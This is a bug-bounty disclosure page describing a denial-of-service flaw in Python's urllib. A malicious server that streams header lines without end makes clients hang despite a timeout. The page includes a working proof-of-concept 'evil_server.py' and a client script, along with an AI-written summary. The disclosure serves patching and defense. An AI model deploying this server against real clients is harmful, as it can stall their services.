"urllib" will result to deny of service
A malicious server can send an endless stream of HTTP headers, causing the Python urllib client to hang indefinitely even when a timeout is set. The client may also consume increasing memory, though the author did not test this.
- Fixed in 5 months
- Paid in 5 months
- Disclosed after 5 months
if a client request a http/https/ftp service which is controlled by attacker, attacker can make this client hang forever, event client has set "timeout" argument.
maybe this client also will consume more and more memory. i does not test on this conclusion.
client.py
import urllib.request
req = urllib.request.Request('http://127.0.0.1:8085')
response = urllib.request.urlopen(req, timeout=1)
evil_server.py
# coding:utf-8
from socket import *
from multiprocessing import *
from time import sleep
def dealWithClient(newSocket,destAddr):
recvData = newSocket.recv(1024)
newSocket.send(b"""HTTP/1.1 100 OK\n""")
while True:
# recvData = newSocket.recv(1024)
newSocket.send(b"""x:a\n""")
if len(recvData)>0:
# print('recv[%s]:%s'%(str(destAddr), recvData))
pass
else:
print('[%s]close'%str(destAddr))
sleep(10)
print('over')
break
# newSocket.close()
def main():
serSocket = socket(AF_INET, SOCK_STREAM)
serSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR , 1)
localAddr = ('', 8085)
serSocket.bind(localAddr)
serSocket.listen(5)
try:
while True:
newSocket,destAddr = serSocket.accept()
client = Process(target=dealWithClient, args=(newSocket,destAddr))
client.start()
newSocket.close()
finally:
serSocket.close()
if __name__ == '__main__':
main()
Impact
if a client request a http/https/ftp service which is controlled by attacker, attacker can make this client hang forever, event client has set "timeout" argument.
more info, see https://bugs.python.org/issue44022
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Client connects to attacker-controlled server
How it was found
- Run the provided evil server script that listens on a port.
- Use urllib.request.urlopen with a timeout to request that server.
- The server sends an initial HTTP 100 response and then continuously sends header lines.
- The client never finishes reading and hangs despite the timeout.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program uses Python's urllib to fetch a page, it can set a timeout. But if the server is controlled by an attacker, the client can hang forever even with a timeout set.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.